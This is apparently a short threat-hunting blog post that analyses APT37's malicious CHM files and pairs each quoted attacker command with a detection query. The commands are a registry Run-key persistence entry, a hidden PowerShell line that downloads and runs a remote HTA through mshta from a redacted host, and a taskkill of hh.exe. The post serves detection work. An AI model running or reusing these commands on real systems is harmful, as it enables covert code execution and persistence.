252. Is APT37 Noisy Enough to Be Detected?

Hello everyone!

If you're reading this blog often, you are 100% sure that most of adversaries are extremely noisy. And yes, today we'll look at another noisy example, which belongs to APT37.

The adversary leveraged malicious CHM files, which executed multiple quite interesting commands.

For example, once again the adversary abused reg.exe for persistence:

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OnedriveStandaloneUpdater /t REG_SZ /d

Why not to hunt for such suspicious registry modifications events:

event_type: "processcreatewin"

AND

proc_file_path: "reg.exe"

AND

cmdline: ("add" AND "run")

Next it runs PowerShell to download a malicious HTA file and execute it via mshta.exe:

Powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 473925 2.2.2.2 || mshta http://[redacted].co.kr/files/2023/12/01/1.html" /f

From threat hunting perspective, it's always a good idea to hunt for PowerShell spawning suspicious binaries, for example, mshta.exe:

event_type: "processcreatewin"

AND

proc_p_file_path: "powershell.exe"

AND

proc_file_path: "mshta.exe"

It also uses notepad.exe to show the "password", and finally kills hh.exe, which is responsible for CHM file opening:

taskkill /im hh.exe

And this is another detection opportunity:

event_type: "processcreatewin"

AND

proc_file_path: "taskkill.exe"

AND

cmdline: "hh.exe"

As you can see, the group uses lots of well-known behaviors, which should be easily detected in any environment. And the report contains even more! Enjoy!

See you tomorrow!

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